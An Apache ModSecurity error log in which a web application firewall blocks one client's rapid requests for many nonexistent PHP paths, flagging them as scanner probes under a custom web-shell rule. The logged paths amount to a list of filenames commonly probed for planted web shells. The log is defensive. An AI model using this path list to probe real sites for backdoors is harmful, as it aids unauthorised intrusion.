[Fri Mar 27 03:34:49.280117 2026] [:error] [pid 44058:tid 44074] [client 223.15.245.170:53473] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acWKWeqp9u5CVRGdZPFS2QAAAI4"]
[Fri Mar 27 04:10:57.059224 2026] [:error] [pid 27749:tid 27805] [client 52.138.251.91:55792] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acWS0cEqyoMni2Q6_X5CYwAAAE4"]
[Fri Mar 27 04:10:57.978433 2026] [:error] [pid 27851:tid 27863] [client 52.138.251.91:54660] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acWS0XR2ccxe3RMCLbrkzQAAAMU"]
[Fri Mar 27 04:10:58.635852 2026] [:error] [pid 27851:tid 27862] [client 52.138.251.91:55771] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acWS0nR2ccxe3RMCLbrkzwAAAMQ"]
[Fri Mar 27 04:10:59.788793 2026] [:error] [pid 27851:tid 27865] [client 52.138.251.91:55797] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acWS03R2ccxe3RMCLbrk0gAAAMc"]
[Fri Mar 27 04:11:01.125311 2026] [:error] [pid 27749:tid 27807] [client 52.138.251.91:4620] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "acWS1cEqyoMni2Q6_X5CdAAAAFA"]
[Fri Mar 27 04:11:02.223436 2026] [:error] [pid 27750:tid 27832] [client 52.138.251.91:52867] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "acWS1oaSil5rd17ieLwWXwAAAI4"]
[Fri Mar 27 04:11:04.838194 2026] [:error] [pid 27851:tid 27881] [client 52.138.251.91:48893] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "acWS2HR2ccxe3RMCLbrk5AAAANc"]
[Fri Mar 27 04:11:06.108402 2026] [:error] [pid 27749:tid 27800] [client 52.138.251.91:38883] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "acWS2sEqyoMni2Q6_X5CfQAAAEk"]
[Fri Mar 27 04:11:08.863580 2026] [:error] [pid 27750:tid 27841] [client 52.138.251.91:44705] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acWS3IaSil5rd17ieLwWaAAAAJc"]
[Fri Mar 27 04:11:10.581697 2026] [:error] [pid 27743:tid 27786] [client 52.138.251.91:53195] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acWS3iA46UYYLqzw99Dm0AAAABY"]
[Fri Mar 27 04:11:12.269730 2026] [:error] [pid 27750:tid 27837] [client 52.138.251.91:44652] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acWS4IaSil5rd17ieLwWcAAAAJM"]
[Fri Mar 27 04:11:14.336775 2026] [:error] [pid 27750:tid 27826] [client 52.138.251.91:38278] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "acWS4oaSil5rd17ieLwWewAAAIg"]
[Fri Mar 27 04:11:15.388768 2026] [:error] [pid 27743:tid 27783] [client 52.138.251.91:44710] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/init.php"] [unique_id "acWS4yA46UYYLqzw99Dm1wAAABM"]
[Fri Mar 27 04:11:16.180060 2026] [:error] [pid 27743:tid 27786] [client 52.138.251.91:44676] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/init.php"] [unique_id "acWS5CA46UYYLqzw99Dm3gAAABY"]
[Fri Mar 27 04:11:18.333723 2026] [:error] [pid 27851:tid 27859] [client 52.138.251.91:38314] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/init.php"] [unique_id "acWS5nR2ccxe3RMCLbrlDAAAAME"]
[Fri Mar 27 04:11:19.373484 2026] [:error] [pid 27851:tid 27879] [client 52.138.251.91:52878] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/init.php"] [unique_id "acWS53R2ccxe3RMCLbrlDgAAANU"]
[Fri Mar 27 04:11:20.762869 2026] [:error] [pid 27750:tid 27818] [client 52.138.251.91:4622] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "acWS6IaSil5rd17ieLwWkgAAAIA"]
[Fri Mar 27 04:11:22.389708 2026] [:error] [pid 27851:tid 27865] [client 52.138.251.91:43211] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "acWS6nR2ccxe3RMCLbrlEQAAAMc"]
[Fri Mar 27 04:11:24.577876 2026] [:error] [pid 27743:tid 27773] [client 52.138.251.91:44679] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "acWS7CA46UYYLqzw99Dm6gAAAAk"]
[Fri Mar 27 04:11:25.344609 2026] [:error] [pid 27743:tid 27781] [client 52.138.251.91:4651] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "acWS7SA46UYYLqzw99Dm6wAAABE"]
[Fri Mar 27 04:11:26.064409 2026] [:error] [pid 27750:tid 27821] [client 52.138.251.91:50348] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acWS7oaSil5rd17ieLwWoAAAAIM"]
[Fri Mar 27 04:11:27.127876 2026] [:error] [pid 27851:tid 27881] [client 52.138.251.91:53200] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acWS73R2ccxe3RMCLbrlGwAAANc"]
[Fri Mar 27 04:11:27.988098 2026] [:error] [pid 27750:tid 27829] [client 52.138.251.91:40884] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acWS74aSil5rd17ieLwWqgAAAIs"]
[Fri Mar 27 04:11:28.881903 2026] [:error] [pid 27743:tid 27767] [client 52.138.251.91:35014] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acWS8CA46UYYLqzw99Dm7gAAAAM"]
[Fri Mar 27 04:11:29.493568 2026] [:error] [pid 27750:tid 27835] [client 52.138.251.91:48846] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acWS8YaSil5rd17ieLwWsgAAAJE"]
[Fri Mar 27 04:11:30.252908 2026] [:error] [pid 27749:tid 27810] [client 52.138.251.91:48228] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acWS8sEqyoMni2Q6_X5CnwAAAFM"]
[Fri Mar 27 04:11:32.192895 2026] [:error] [pid 27743:tid 27769] [client 52.138.251.91:59407] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acWS9CA46UYYLqzw99Dm9QAAAAU"]
[Fri Mar 27 04:11:33.303814 2026] [:error] [pid 27851:tid 27862] [client 52.138.251.91:38291] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acWS9XR2ccxe3RMCLbrlJAAAAMQ"]
[Fri Mar 27 04:11:34.287275 2026] [:error] [pid 27851:tid 27866] [client 52.138.251.91:40835] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "acWS9nR2ccxe3RMCLbrlKAAAAMg"]
[Fri Mar 27 04:11:34.956466 2026] [:error] [pid 27749:tid 27803] [client 52.138.251.91:56510] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "acWS9sEqyoMni2Q6_X5CpwAAAEw"]
[Fri Mar 27 04:11:35.592042 2026] [:error] [pid 27851:tid 27877] [client 52.138.251.91:48226] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "acWS93R2ccxe3RMCLbrlLQAAANM"]
[Fri Mar 27 04:11:36.684941 2026] [:error] [pid 27743:tid 27786] [client 52.138.251.91:43201] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "acWS-CA46UYYLqzw99Dm-wAAABY"]
[Fri Mar 27 04:11:37.591439 2026] [:error] [pid 27750:tid 27828] [client 52.138.251.91:56484] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "acWS-YaSil5rd17ieLwWtwAAAIo"]
[Fri Mar 27 04:11:39.725714 2026] [:error] [pid 27749:tid 27798] [client 52.138.251.91:4780] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "acWS-8EqyoMni2Q6_X5CsAAAAEc"]
[Fri Mar 27 04:11:40.294944 2026] [:error] [pid 27851:tid 27871] [client 52.138.251.91:60153] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "acWS_HR2ccxe3RMCLbrlOgAAAM0"]
[Fri Mar 27 04:11:41.338133 2026] [:error] [pid 27750:tid 27829] [client 52.138.251.91:33496] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "acWS_YaSil5rd17ieLwWwAAAAIs"]
[Fri Mar 27 04:11:42.174203 2026] [:error] [pid 27750:tid 27821] [client 52.138.251.91:41319] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "acWS_oaSil5rd17ieLwWwgAAAIM"]
[Fri Mar 27 04:11:42.960789 2026] [:error] [pid 27743:tid 27771] [client 52.138.251.91:52893] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "acWS_iA46UYYLqzw99DnAAAAAAc"]
[Fri Mar 27 04:11:43.952519 2026] [:error] [pid 27743:tid 27778] [client 52.138.251.91:48846] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "acWS_yA46UYYLqzw99DnBgAAAA4"]
[Fri Mar 27 04:11:45.086055 2026] [:error] [pid 27749:tid 27796] [client 52.138.251.91:44714] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mh.php"] [unique_id "acWTAcEqyoMni2Q6_X5CuQAAAEU"]
[Fri Mar 27 04:11:47.522646 2026] [:error] [pid 27750:tid 27818] [client 52.138.251.91:48860] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acWTA4aSil5rd17ieLwWygAAAIA"]
[Fri Mar 27 04:11:48.416603 2026] [:error] [pid 27750:tid 27832] [client 52.138.251.91:38552] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acWTBIaSil5rd17ieLwWzQAAAI4"]
[Fri Mar 27 04:11:49.390482 2026] [:error] [pid 27749:tid 27797] [client 52.138.251.91:32812] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acWTBcEqyoMni2Q6_X5CvAAAAEY"]
[Fri Mar 27 04:11:50.172551 2026] [:error] [pid 27750:tid 27826] [client 52.138.251.91:45734] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acWTBoaSil5rd17ieLwW0gAAAIg"]
[Fri Mar 27 04:11:50.874802 2026] [:error] [pid 27750:tid 27821] [client 52.138.251.91:50425] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acWTBoaSil5rd17ieLwW1gAAAIM"]
[Fri Mar 27 04:11:52.110668 2026] [:error] [pid 27851:tid 27879] [client 52.138.251.91:41314] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acWTCHR2ccxe3RMCLbrlWgAAANU"]
[Fri Mar 27 04:11:53.731887 2026] [:error] [pid 27851:tid 27873] [client 52.138.251.91:38569] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acWTCXR2ccxe3RMCLbrlXwAAAM8"]
[Fri Mar 27 04:11:55.515841 2026] [:error] [pid 27749:tid 27801] [client 52.138.251.91:32814] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acWTC8EqyoMni2Q6_X5CwwAAAEo"]
[Fri Mar 27 04:12:05.522532 2026] [:error] [pid 27750:tid 27836] [client 52.138.251.91:47911] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bjfl.php"] [unique_id "acWTFYaSil5rd17ieLwW9QAAAJI"]
[Fri Mar 27 04:12:06.173109 2026] [:error] [pid 27749:tid 27794] [client 52.138.251.91:32282] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bjfl.php"] [unique_id "acWTFsEqyoMni2Q6_X5C2AAAAEM"]
[Fri Mar 27 04:12:06.925828 2026] [:error] [pid 27749:tid 27810] [client 52.138.251.91:47927] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bjfl.php"] [unique_id "acWTFsEqyoMni2Q6_X5C2gAAAFM"]
[Fri Mar 27 04:12:07.739038 2026] [:error] [pid 27851:tid 27860] [client 52.138.251.91:60156] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bjfl.php"] [unique_id "acWTF3R2ccxe3RMCLbrlqQAAAMI"]
[Fri Mar 27 04:12:08.383749 2026] [:error] [pid 27851:tid 27861] [client 52.138.251.91:50430] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acWTGHR2ccxe3RMCLbrltAAAAMM"]
[Fri Mar 27 04:12:09.087164 2026] [:error] [pid 27851:tid 27858] [client 52.138.251.91:61324] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acWTGXR2ccxe3RMCLbrluAAAAMA"]
